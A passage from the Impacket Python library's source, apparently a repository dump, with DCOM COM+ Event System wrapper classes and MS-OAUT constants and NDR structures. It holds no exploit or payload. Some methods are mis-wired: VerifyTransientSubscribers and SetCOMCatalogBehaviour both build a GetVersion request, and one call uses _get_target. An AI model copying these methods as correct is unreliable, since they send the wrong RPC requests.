request = IEventSubscription_GetPublisherProperty()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def PutPublisherProperty(self, bstrPropertyName, propertyValue):\n        request = IEventSubscription_PutPublisherProperty()\n        request['bstrPropertyName'] = bstrPropertyName\n        request['propertyValue'] = propertyValue\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def RemovePublisherProperty(self, bstrPropertyName):\n        request = IEventSubscription_RemovePublisherProperty()\n        request['bstrPropertyName'] = bstrPropertyName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetPublisherPropertyCollection(self):\n        request = IEventSubscription_GetPublisherPropertyCollection()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetSubscriberProperty(self):\n        request = IEventSubscription_GetSubscriberProperty()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def PutSubscriberProperty(self, bstrPropertyName, propertyValue):\n        request = IEventSubscription_PutSubscriberProperty()\n        request['bstrPropertyName'] = bstrPropertyName\n        request['propertyValue'] = propertyValue\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def RemoveSubscriberProperty(self, bstrPropertyName):\n        request = IEventSubscription_RemoveSubscriberProperty()\n        request['bstrPropertyName'] = bstrPropertyName\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetSubscriberPropertyCollection(self):\n        request = IEventSubscription_GetSubscriberPropertyCollection()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_InterfaceID(self):\n        request = IEventSubscription_get_InterfaceID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_InterfaceID(self, bstrInterfaceID):\n        request = IEventSubscription_put_InterfaceID()\n        request['bstrInterfaceID'] = bstrInterfaceID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IEventSubscription2(IEventSubscription):\n    def __init__(self, interface):\n        IEventSubscription.__init__(self,interface)\n        self._iid = IID_IEventSubscription2\n\n    def get_FilterCriteria(self):\n        request = IEventSubscription2_get_FilterCriteria()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_FilterCriteria(self, bstrFilterCriteria):\n        request = IEventSubscription2_put_FilterCriteria()\n        request['bstrFilterCriteria'] = bstrFilterCriteria\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriberMoniker (self):\n        request = IEventSubscription2_get_SubscriberMoniker ()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriberMoniker(self, bstrMoniker):\n        request = IEventSubscription2_put_SubscriberMoniker()\n        request['bstrMoniker'] = bstrMoniker\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IEventSubscription3(IEventSubscription2):\n    def __init__(self, interface):\n        IEventSubscription2.__init__(self,interface)\n        self._iid = IID_IEventSubscription3\n\n    def get_EventClassPartitionID(self):\n        request = IEventSubscription3_get_EventClassPartitionID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassPartitionID(self, bstrEventClassPartitionID):\n        request = IEventSubscription3_put_EventClassPartitionID()\n        request['bstrEventClassPartitionID'] = bstrEventClassPartitionID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_EventClassApplicationID(self):\n        request = IEventSubscription3_get_EventClassApplicationID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_EventClassApplicationID(self, bstrEventClassApplicationID):\n        request = IEventSubscription3_put_EventClassApplicationID()\n        request['bstrEventClassApplicationID'] = bstrEventClassApplicationID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriberPartitionID(self):\n        request = IEventSubscription3_get_SubscriberPartitionID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriberPartitionID(self, bstrSubscriberPartitionID):\n        request = IEventSubscription3_put_SubscriberPartitionID()\n        request['bstrSubscriberPartitionID'] = bstrSubscriberPartitionID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def get_SubscriberApplicationID(self):\n        request = IEventSubscription3_get_SubscriberApplicationID()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def put_SubscriberApplicationID(self, bstrSubscriberApplicationID):\n        request = IEventSubscription3_put_SubscriberApplicationID()\n        request['bstrSubscriberApplicationID'] = bstrSubscriberApplicationID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n\nclass IEnumEventObject(IDispatch):\n    def __init__(self, interface):\n        IDispatch.__init__(self,interface)\n        self._iid = IID_IEnumEventObject\n\n    def Clone(self):\n        request = IEnumEventObject_Clone()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IEnumEventObject(INTERFACE(self.get_cinstance(), b''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def Next(self, cReqElem):\n        request = IEnumEventObject_Next()\n        request['cReqElem'] = cReqElem\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        interfaces = list()\n        for interface in resp['ppInterface']:\n            interfaces.append(IEventClass2(INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))\n        return interfaces\n\n    def Reset(self):\n        request = IEnumEventObject_Reset()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def Skip(self, cSkipElem):\n        request = IEnumEventObject_Skip()\n        request['cSkipElem'] = cSkipElem\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\nclass IEventObjectCollection(IDispatch):\n    def __init__(self, interface):\n        IDispatch.__init__(self,interface)\n        self._iid = IID_IEventObjectCollection\n\n    def get__NewEnum(self):\n        request = IEventObjectCollection_get__NewEnum()\n        resp = self.request(request, iid = self._iid , uuid = self.get_iPid())\n        return IEnumEventObject(INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self._get_target()))\n\n    def get_Item(self, objectID):\n        request = IEventObjectCollection_get_Item()\n        request['objectID']['asData'] = objectID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def get_NewEnum(self):\n        request = IEventObjectCollection_get_NewEnum()\n        resp = self.request(request, iid = self._iid , uuid = self.get_iPid())\n        return IEnumEventObject(INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def get_Count(self):\n        request = IEventObjectCollection_get_Count()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def Add(self, item, objectID):\n        request = IEventObjectCollection_Add()\n        request['item'] = item\n        request['objectID']['asData'] = objectID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def Remove(self, objectID):\n        request = IEventObjectCollection_Remove()\n        request['objectID']['asData'] = objectID\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\nclass IEventSystem(IDispatch):\n    def __init__(self, interface):\n        IDispatch.__init__(self,interface)\n        self._iid = IID_IEventSystem\n\n    def Query(self, progID, queryCriteria):\n        request = IEventSystem_Query()\n        request['progID']['asData']=progID\n        request['queryCriteria']['asData']=queryCriteria\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        iInterface = IDispatch(INTERFACE(self.get_cinstance(), b''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n        return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))\n\n    def Store(self, progID, pInterface):\n        request = IEventSystem_Store()\n        request['progID']['asData']=progID\n        request['pInterface'] = pInterface\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def Remove(self, progID, queryCriteria):\n        request = IEventSystem_Remove()\n        request['progID']['asData']=progID\n        request['queryCriteria'] = queryCriteria\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp\n\n    def get_EventObjectChangeEventClassID(self):\n        request = IEventSystem_get_EventObjectChangeEventClassID()\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp\n\n    def QueryS(self,progID, queryCriteria):\n        request = IEventSystem_QueryS()\n        request['progID']['asData']=progID\n        request['queryCriteria']['asData']=queryCriteria\n        resp = self.request(request, uuid = self.get_iPid())\n        iInterface = IDispatch(INTERFACE(self.get_cinstance(), b''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n        return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))\n\n    def RemoveS(self,progID, queryCriteria):\n        request = IEventSystem_RemoveS()\n        request['progID']['asData']=progID\n        request['queryCriteria']['asData']=queryCriteria\n        resp = self.request(request, uuid = self.get_iPid())\n        return resp\n\nclass IEventSystem2(IEventSystem):\n    def __init__(self, interface):\n        IEventSystem.__init__(self,interface)\n        self._iid = IID_IEventSystem2\n\n    def GetVersion(self):\n        request = IEventSystem2_GetVersion()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def VerifyTransientSubscribers(self):\n        request = IEventSystem2_GetVersion()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\nclass IEventSystemInitialize(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IEventSystemInitialize\n\n    def SetCOMCatalogBehaviour(self, bRetainSubKeys):\n        request = IEventSystem2_GetVersion()\n        request['bRetainSubKeys'] = bRetainSubKeys\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/oaut.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-OAUT]: OLE Automation Protocol Implementation\n#              This was used as a way to test the DCOM runtime. Further\n#              testing is needed to verify it is working as expected\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Since DCOM is like an OO RPC, instead of helper functions you will see the\n#   classes described in the standards developed.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport random\nfrom struct import pack, unpack\n\nfrom impacket import LOG\nfrom impacket import hresult_errors\nfrom impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE, \\\n    MInterfacePointer, MInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer\nfrom impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID, USHORT, LONG, WSTR, BYTE, LONGLONG, FLOAT, \\\n    DOUBLE, HRESULT, PSHORT, PLONG, PLONGLONG, PFLOAT, PDOUBLE, PHRESULT, CHAR, ULONGLONG, INT, UINT, PCHAR, PUSHORT, \\\n    PULONG, PULONGLONG, PINT, PUINT, NULL\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRENUM, NDRUSHORT, NDRUNION, \\\n    NDRUniConformantVaryingArray, NDR\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import string_to_bin\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] \n            return 'OAUT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'OAUT SessionError: unknown error code: 0x%x' % (self.error_code)\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 1.9 Standards Assignments\nIID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')\nIID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046')\nIID_ITypeComp = string_to_bin('00020403-0000-0000-C000-000000000046')\nIID_NULL      = string_to_bin('00000000-0000-0000-0000-000000000000')\n\nerror_status_t = ULONG\n\nLCID = DWORD\nWORD = NDRUSHORT\n\n# 2.2.2 IID\nIID = GUID\n\n# 2.2.3 LPOLESTR\nLPOLESTR = LPWSTR\nOLESTR = WSTR\n\n# 2.2.4 REFIID\nREFIID = IID\n\n# 2.2.25 DATE\nDATE = DOUBLE\nclass PDATE(NDRPOINTER):\n    referent = (\n        ('Data', DATE),\n    )\n\n# 2.2.27 VARIANT_BOOL\nVARIANT_BOOL = USHORT\n\nclass PVARIANT_BOOL(NDRPOINTER):\n    referent = (\n        ('Data', VARIANT_BOOL),\n    )\n\n# 3.1.4.4 IDispatch::Invoke (Opnum 6)\n# dwFlags\nDISPATCH_METHOD         = 0x00000001\nDISPATCH_PROPERTYGET    = 0x00000002\nDISPATCH_PROPERTYPUT    = 0x00000004\nDISPATCH_PROPERTYPUTREF = 0x00000008\nDISPATCH_zeroVarResult  = 0x00020000\nDISPATCH_zeroExcepInfo  = 0x00040000\nDISPATCH_zeroArgErr     = 0x00080000\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.26 DECIMAL\nclass DECIMAL(NDRSTRUCT):\n    structure = (\n        ('wReserved',WORD),\n        ('scale',BYTE),\n        ('sign',BYTE),\n        ('Hi32',ULONG),\n        ('Lo64',ULONGLONG),\n    )\n\nclass PDECIMAL(NDRPOINTER):\n    referent = (\n        ('Data', DECIMAL),\n    )\n\n# 2.2.7 VARIANT Type Constants\nclass VARENUM(NDRENUM):\n    class enumItems(Enum):\n        VT_EMPTY       = 0\n        VT_NULL        = 1\n        VT_I2          = 2\n        VT_I4          = 3\n        VT_R4          = 4\n        VT_R8          = 5\n        VT_CY          = 6\n        VT_DATE        = 7\n        VT_BSTR        = 8\n        VT_DISPATCH    = 9\n        VT_ERROR       = 0xa\n        VT_BOOL        = 0xb\n        VT_VARIANT     = 0xc\n        VT_UNKNOWN     = 0xd\n        VT_DECIMAL     = 0xe\n        VT_I1          = 0x10\n        VT_UI1         = 0x11\n        VT_UI2         = 0x12\n        VT_UI4         = 0x13\n        VT_I8          = 0x14\n        VT_UI8         = 0x15\n        VT_INT         = 0x16\n        VT_UINT        = 0x17\n        VT_VOID        = 0x18\n        VT_HRESULT     = 0x19\n        VT_PTR         = 0x1a\n        VT_SAFEARRAY   = 0x1b\n        VT_CARRAY      = 0x1c\n        VT_USERDEFINED = 0x1d\n        VT_LPSTR       = 0x1e\n        VT_LPWSTR      = 0x1f\n        VT_RECORD      = 0x24\n        VT_INT_PTR     = 0x25\n        VT_UINT_PTR    = 0x26\n        VT_ARRAY       = 0x2000\n        VT_BYREF       = 0x4000\n        VT_RECORD_OR_VT_BYREF   = VT_RECORD | VT_BYREF\n        VT_UI1_OR_VT_BYREF      = VT_UI1 | VT_BYREF\n        VT_I2_OR_VT_BYREF       = VT_I2 | VT_BYREF\n        VT_I4_OR_VT_BYREF       = VT_I4 | VT_BYREF\n        VT_I8_OR_VT_BYREF       = VT_I8 | VT_BYREF\n        VT_R4_OR_VT_BYREF       = VT_R4 | VT_BYREF\n        VT_R8_OR_VT_BYREF       = VT_R8 | VT_BYREF\n        VT_BOOL_OR_VT_BYREF     = VT_BOOL | VT_BYREF\n        VT_ERROR_OR_VT_BYREF    = VT_ERROR | VT_BYREF\n        VT_CY_OR_VT_BYREF       = VT_CY | VT_BYREF\n        VT_DATE_OR_VT_BYREF     = VT_DATE | VT_BYREF\n        VT_BSTR_OR_VT_BYREF     = VT_BSTR | VT_BYREF\n        VT_UNKNOWN_OR_VT_BYREF  = VT_UNKNOWN | VT_BYREF\n        VT_DISPATCH_OR_VT_BYREF = VT_DISPATCH | VT_BYREF\n        VT_ARRAY_OR_VT_BYREF    = VT_ARRAY | VT_BYREF\n        VT_VARIANT_OR_VT_BYREF  = VT_VARIANT| VT_BYREF\n        VT_I1_OR_VT_BYREF       = VT_I1 | VT_BYREF\n        VT_UI2_OR_VT_BYREF      = VT_UI2 | VT_BYREF\n        VT_UI4_OR_VT_BYREF      = VT_UI4 | VT_BYREF\n        VT_UI8_OR_VT_BYREF      = VT_UI8 | VT_BYREF\n        VT_INT_OR_VT_BYREF      = VT_INT | VT_BYREF\n        VT_UINT_OR_VT_BYREF     = VT_UINT | VT_BYREF\n        VT_DECIMAL_OR_VT_BYREF  = VT_DECIMAL | VT_BYREF\n\n# 2.2.8 SAFEARRAY Feature Constants\nclass SF_TYPE(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        SF_ERROR     = VARENUM.VT_ERROR\n        SF_I1        = VARENUM.VT_I1\n        SF_I2        = VARENUM.VT_I2\n        SF_I4        = VARENUM.VT_I4\n        SF_I8        = VARENUM.VT_I8\n        SF_BSTR      = VARENUM.VT_BSTR\n        SF_UNKNOWN   = VARENUM.VT_UNKNOWN\n        SF_DISPATCH  = VARENUM.VT_DISPATCH\n        SF_VARIANT   = VARENUM.VT_VARIANT\n        SF_RECORD    = VARENUM.VT_RECORD\n        SF_HAVEIID   = VARENUM.VT_UNKNOWN | 0x8000\n\n# 2.2.10 CALLCONV Calling Convention Constants\nclass CALLCONV(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        CC_CDECL   = 1\n        CC_PASCAL  = 2\n        CC_STDCALL = 4\n\n\n# 2.2.12 FUNCKIND Function Access Constants\nclass FUNCKIND(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        FUNC_PUREVIRTUAL = 1\n        FUNC_STATIC      = 3\n        FUNC_DISPATCH    = 4\n\n# 2.2.14 INVOKEKIND Function Invocation Constants\nclass INVOKEKIND(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        INVOKE_FUNC           = 1\n        INVOKE_PROPERTYGET    = 2\n        INVOKE_PROPERTYPUT    = 4\n        INVOKE_PROPERTYPUTREF = 8\n\n# 2.2.17 TYPEKIND Type Kind Constants\nclass TYPEKIND(NDRENUM):\n    # [v1_enum] type\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        TKIND_ENUM      = 0\n        TKIND_RECORD    = 1\n        TKIND_MODULE    = 2\n        TKIND_INTERFACE = 3\n        TKIND_DISPATCH  = 4\n        TKIND_COCLASS   = 5\n        TKIND_ALIAS     = 6\n        TKIND_UNION     = 7\n\n# 2.2.23 BSTR\n# 2.2.23.1 FLAGGED_WORD_BLOB\nclass USHORT_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\nclass FLAGGED_WORD_BLOB(NDRSTRUCT):\n    structure = (\n        ('cBytes',ULONG),\n        ('clSize',ULONG),\n        ('asData',USHORT_ARRAY),\n    )\n    def __setitem__(self, key, value):\n        if key == 'asData':\n            value = value #+ '\\x00'\n            array = list()\n            for letter in value:\n                encoded = letter.encode('utf-16le')\n                array.append(unpack('<H', encoded)[0])\n            self.fields[key]['Data'] = array\n            self['cBytes'] = len(value)*2\n            self['clSize'] = len(value)\n            self.data = None        # force recompute\n        else:\n            return NDRSTRUCT.__setitem__(self, key, value)\n\n    def __getitem__(self, key):\n        if key == 'asData':\n            value = ''\n            for letter in self.fields['asData']['Data']:\n                value += pack('<H', letter).decode('utf-16le')\n            return value\n        else:\n            return NDRSTRUCT.__getitem__(self,key)\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None: msg = self.__class__.__name__\n        ind = ' '*indent\n        if msg != '':\n            print(\"%s\" % (msg))\n        value = ''\n        print('%sasData: %s' % (ind,self['asData']), end=' ')\n\n# 2.2.23.2 BSTR Type Definition\nclass BSTR(NDRPOINTER):\n    referent = (\n        ('Data', FLAGGED_WORD_BLOB),\n    )\n\nclass PBSTR(NDRPOINTER):\n    referent = (\n        ('Data', BSTR),\n    )\n\n# 2.2.24 CURRENCY\nclass CURRENCY(NDRSTRUCT):\n    structure = (\n        ('int64', LONGLONG),\n    )\n\nclass PCURRENCY(NDRPOINTER):\n    referent = (\n        ('Data', CURRENCY),\n    )\n\n# 2.2.28.2 BRECORD\n# 2.2.28.2.1 _wireBRECORD\nclass _wireBRECORD(NDRSTRUCT):\n    structure = (\n        ('fFlags', LONGLONG),\n        ('clSize', LONGLONG),\n        ('pRecInfo', MInterfacePointer),\n        ('pRecord', BYTE_ARRAY),\n    )\n\nclass BRECORD(NDRPOINTER):\n    referent = (\n        ('Data', _wireBRECORD),\n    )\n\n# 2.2.30 SAFEARRAY\n# 2.2.30.1 SAFEARRAYBOUND\nclass SAFEARRAYBOUND(NDRSTRUCT):\n    structure = (\n        ('cElements', ULONG),\n        ('lLbound', LONG),\n    )\n\nclass PSAFEARRAYBOUND(NDRPOINTER):\n    referent = (\n        ('Data', SAFEARRAYBOUND),\n    )\n\n# 2.2.30.2 SAFEARR_BSTR\nclass BSTR_ARRAY(NDRUniConformantArray):\n    item = BSTR\n\nclass PBSTR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BSTR_ARRAY),\n    )\n\nclass SAFEARR_BSTR(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('aBstr', PBSTR_ARRAY),\n    )\n\n# 2.2.30.3 SAFEARR_UNKNOWN\nclass SAFEARR_UNKNOWN(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('apUnknown', MInterfacePointer_ARRAY),\n    )\n\n# 2.2.30.4 SAFEARR_DISPATCH\nclass SAFEARR_DISPATCH(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('apDispatch', MInterfacePointer_ARRAY),\n    )\n\n# 2.2.30.6 SAFEARR_BRECORD\nclass BRECORD_ARRAY(NDRUniConformantArray):\n    item = BRECORD\n\nclass SAFEARR_BRECORD(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('aRecord', BRECORD_ARRAY),\n    )\n\n# 2.2.30.7 SAFEARR_HAVEIID\nclass SAFEARR_HAVEIID(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('apUnknown', MInterfacePointer_ARRAY),\n        ('iid', IID),\n    )\n\n# 2.2.30.8 Scalar-Sized Arrays\n# 2.2.30.8.1 BYTE_SIZEDARR\nclass BYTE_SIZEDARR(NDRSTRUCT):\n    structure = (\n        ('clSize', ULONG),\n        ('pData', BYTE_ARRAY),\n    )\n\n# 2.2.30.8.2 WORD_SIZEDARR\nclass WORD_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\nclass WORD_SIZEDARR(NDRSTRUCT):\n    structure = (\n        ('clSize', ULONG),\n        ('pData', WORD_ARRAY),\n    )\n\n# 2.2.30.8.3 DWORD_SIZEDARR\nclass DWORD_ARRAY(NDRUniConformantArray):\n    item = '<L'\n\nclass DWORD_SIZEDARR(NDRSTRUCT):\n    structure = (\n        ('clSize', ULONG),\n        ('pData', DWORD_ARRAY),\n    )\n\n# 2.2.30.8.4 HYPER_SIZEDARR\nclass HYPER_ARRAY(NDRUniConformantArray):\n    item = '<Q'\n\nclass HYPER_SIZEDARR(NDRSTRUCT):\n    structure = (\n        ('clSize', ULONG),\n        ('pData', HYPER_ARRAY),\n    )\n\n\n# 2.2.36 HREFTYPE\nHREFTYPE = DWORD\n\n# 2.2.30.5 SAFEARR_VARIANT\nclass VARIANT_ARRAY(NDRUniConformantArray):\n    # In order to avoid the lack of forward declarations in Python\n    # I declare the item in the constructor\n    #item = VARIANT\n    def __init__(self, data = None, isNDR64 = False):\n        NDRUniConformantArray.__init__(self, data, isNDR64)\n        self.item = VARIANT\n\nclass PVARIANT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', VARIANT_ARRAY),\n    )\n\nclass PVARIANT(NDRPOINTER):\n    # In order to avoid the lack of forward declarations in Python\n    # I declare the item in the constructor\n    #referent = (\n    #    ('Data', VARIANT),\n    #)\n    def __init__(self, data = None, isNDR64 = False):\n        NDRPOINTER.__init__(self, data, isNDR64)\n        self.referent = ( ('Data', VARIANT),)\n\n\nclass SAFEARR_VARIANT(NDRSTRUCT):\n    structure = (\n        ('Size', ULONG),\n        ('aVariant', VARIANT_ARRAY),\n    )\n\n# 2.2.30.9 SAFEARRAYUNION\nclass SAFEARRAYUNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        SF_TYPE.SF_BSTR     : ('BstrStr', SAFEARR_BSTR),\n        SF_TYPE.SF_UNKNOWN  : ('UnknownStr', SAFEARR_UNKNOWN),\n        SF_TYPE.SF_DISPATCH : ('DispatchStr', SAFEARR_DISPATCH),\n        SF_TYPE.SF_VARIANT  : ('VariantStr', SAFEARR_VARIANT),\n        SF_TYPE.SF_RECORD   : ('RecordStr', SAFEARR_BRECORD),\n        SF_TYPE.SF_HAVEIID  : ('HaveIidStr', SAFEARR_HAVEIID),\n        SF_TYPE.SF_I1       : ('ByteStr', BYTE_SIZEDARR),\n        SF_TYPE.SF_I2       : ('WordStr', WORD_SIZEDARR),\n        SF_TYPE.SF_I4       : ('LongStr', DWORD_SIZEDARR),\n        SF_TYPE.SF_I8       : ('HyperStr', HYPER_SIZEDARR),\n    }\n\n# 2.2.30.10 SAFEARRAY\nclass SAFEARRAYBOUND_ARRAY(NDRUniConformantArray):\n    item = SAFEARRAYBOUND\n\nclass PSAFEARRAYBOUND_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SAFEARRAYBOUND_ARRAY),\n    )\n\nclass SAFEARRAY(NDRSTRUCT):\n    structure = (\n        ('cDims', USHORT),\n        ('fFeatures', USHORT),\n        ('cbElements', ULONG),\n        ('cLocks', ULONG),\n        ('uArrayStructs', SAFEARRAYUNION),\n        ('rgsabound', SAFEARRAYBOUND_ARRAY),\n    )\n\nclass PSAFEARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SAFEARRAY),\n    )\n\n# 2.2.29 VARIANT\n# 2.2.29.1 _wireVARIANT\nclass EMPTY(NDR):\n    align = 0\n    structure = (\n    )\n\nclass varUnion(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        VARENUM.VT_I8                  : ('llVal', LONGLONG),\n        VARENUM.VT_I4                  : ('lVal', LONG),\n        VARENUM.VT_UI1                 : ('bVal', BYTE),\n        VARENUM.VT_I2                  : ('iVal', SHORT),\n        VARENUM.VT_R4                  : ('fltVal', FLOAT),\n        VARENUM.VT_R8                  : ('dblVal', DOUBLE),\n        VARENUM.VT_BOOL                : ('boolVal', VARIANT_BOOL),\n        VARENUM.VT_ERROR               : ('scode', HRESULT),\n        VARENUM.VT_CY                  : ('cyVal', CURRENCY),\n        VARENUM.VT_DATE                : ('date', DATE),\n        VARENUM.VT_BSTR                : ('bstrVal', BSTR),\n        VARENUM.VT_UNKNOWN             : ('punkVal', PMInterfacePointer),\n        VARENUM.VT_DISPATCH            : ('pdispVal', PMInterfacePointer),\n        VARENUM.VT_ARRAY               : ('parray', SAFEARRAY),\n        VARENUM.VT_RECORD              : ('brecVal', BRECORD),\n        VARENUM.VT_RECORD_OR_VT_BYREF  : ('brecVal', BRECORD),\n        VARENUM.VT_UI1_OR_VT_BYREF     : ('pbVal', BYTE),\n        VARENUM.VT_I2_OR_VT_BYREF      : ('piVal', PSHORT),\n        VARENUM.VT_I4_OR_VT_BYREF      : ('plVal', PLONG),\n        VARENUM.VT_I8_OR_VT_BYREF      : ('pllVal', PLONGLONG),\n        VARENUM.VT_R4_OR_VT_BYREF      : ('pfltVal', PFLOAT),\n        VARENUM.VT_R8_OR_VT_BYREF      : ('pdblVal', PDOUBLE),\n        VARENUM.VT_BOOL_OR_VT_BYREF    : ('pboolVal', PVARIANT_BOOL),\n        VARENUM.VT_ERROR_OR_VT_BYREF   : ('pscode', PHRESULT),\n        VARENUM.VT_CY_OR_VT_BYREF      : ('pcyVal', PCURRENCY),\n        VARENUM.VT_DATE_OR_VT_BYREF    : ('pdate', PDATE),\n        VARENUM.VT_BSTR_OR_VT_BYREF    : ('pbstrVal', PBSTR),\n        VARENUM.VT_UNKNOWN_OR_VT_BYREF : ('ppunkVal', PPMInterfacePointer),\n        VARENUM.VT_DISPATCH_OR_VT_BYREF: ('ppdispVal', PPMInterfacePointer),\n        VARENUM.VT_ARRAY_OR_VT_BYREF   : ('pparray', PSAFEARRAY),\n        VARENUM.VT_VARIANT_OR_VT_BYREF : ('pvarVal', PVARIANT),\n        VARENUM.VT_I1                  : ('cVal', CHAR),\n        VARENUM.VT_UI2                 : ('uiVal', USHORT),\n        